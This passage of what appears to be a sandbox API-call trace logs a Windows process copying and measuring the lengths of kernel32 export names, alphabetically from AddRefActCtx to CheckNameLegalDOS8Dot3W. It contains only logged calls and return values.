lpString1=0x2e7f298, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0085.357] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0085.357] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0085.357] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0085.357] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0085.357] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0085.357] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0085.357] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0085.357] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0085.357] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0085.357] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0085.357] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0085.357] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0085.357] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0085.357] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0085.357] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0085.357] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0085.357] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0085.357] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0085.357] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0085.357] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0085.357] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0085.357] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0085.357] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0085.357] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0085.358] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0085.358] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0085.358] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0085.358] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0085.358] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0085.358] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0085.358] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0085.358] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0085.358] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0085.358] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0085.358] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0085.358] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0085.358] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0085.358] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0085.358] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0085.358] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0085.358] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0085.358] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0085.358] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0085.358] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0085.358] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0085.358] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0085.358] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0085.358] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0085.358] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0085.358] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0085.358] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0085.358] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0085.358] lstrlenA (lpString="BACKUPREAD") returned 10 [0085.358] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0085.358] lstrlenA (lpString="BACKUPSEEK") returned 10 [0085.358] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0085.358] lstrlenA (lpString="BACKUPWRITE") returned 11 [0085.358] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0085.358] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0085.358] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0085.358] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0085.358] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0085.359] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0085.359] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0085.359] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0085.359] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0085.359] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0085.359] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0085.359] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0085.359] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0085.359] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0085.359] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0085.359] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0085.359] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0085.359] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0085.359] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0085.359] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0085.359] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0085.359] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0085.359] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0085.359] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0085.359] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0085.359] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0085.359] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0085.359] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0085.359] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0085.359] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0085.359] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0085.359] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0085.359] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0085.359] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0085.359] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0085.359] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0085.359] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0085.359] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0085.359] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0085.359] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0085.359] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0085.359] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0085.359] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0085.359] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0085.359] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0085.359] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0085.360] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0085.360] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0085.360] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0085.360] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0085.360] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0085.360] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0085.360] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0085.360] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0085.360] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0085.360] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0085.360] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0085.360] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0085.360] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0085.360] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0085.360] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0085.360] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0085.360] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0085.360] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0085.360] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0085.360] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0085.360] lstrcpyA (in: lpString1=0x2e7f298, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0085.360] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0085.360] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0085.360] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0085.360] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0085.360] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0085.360] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0085.360] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0085.360] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0085.360] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0085.360] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0085.360] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0085.360] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0085.360] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0085.360] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0085.360] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0085.360] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0085.361] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0085.361] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0085.361] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0085.361] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0085.361] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0085.361] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0085.361] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0085.361] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0085.361] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0085.361] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0085.361] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0085.361] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0085.361] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0085.361] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0085.361] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0085.361] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0085.361] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0085.361] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0085.361] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0085.361] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0085.361] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0085.361] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0085.361] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0085.361] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0085.361] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0085.361] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0085.361] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0085.361] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0085.361] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0085.361] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0085.361] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0085.361] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0085.361] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0085.361] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0085.361] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0085.361] lstrcpyA (in: lpString1=0x2e7f298, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0085.361] lstrlenA (lpString="BEEP") returned 4 [0085.361] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0085.361] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0085.361] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0085.361] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0085.362] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0085.362] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0085.362] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0085.362] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0085.362] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0085.362] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0085.362] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0085.362] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0085.362] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0085.362] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0085.362] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0085.362] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0085.362] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0085.362] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0085.362] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0085.362] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0085.362] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0085.362] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0085.362] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0085.362] lstrlenA (lpString="CANCELIO") returned 8 [0085.362] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0085.362] lstrlenA (lpString="CANCELIOEX") returned 10 [0085.362] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0085.362] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0085.362] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0085.362] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0085.362] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0085.362] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0085.362] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0085.362] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0085.362] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0085.362] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0085.362] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0085.362] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0085.362] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0085.362] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0085.362] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0085.362] lstrlenA (lpString="CHECKELEVATION") returned 14 [0085.362] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0085.362] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0085.362] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0085.363] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0085.363] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0085.363] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0085.363] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0085.363] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0085.363] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0085.363] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0085.363] lstrcpyA (in: lpString1=0x2e7f298, 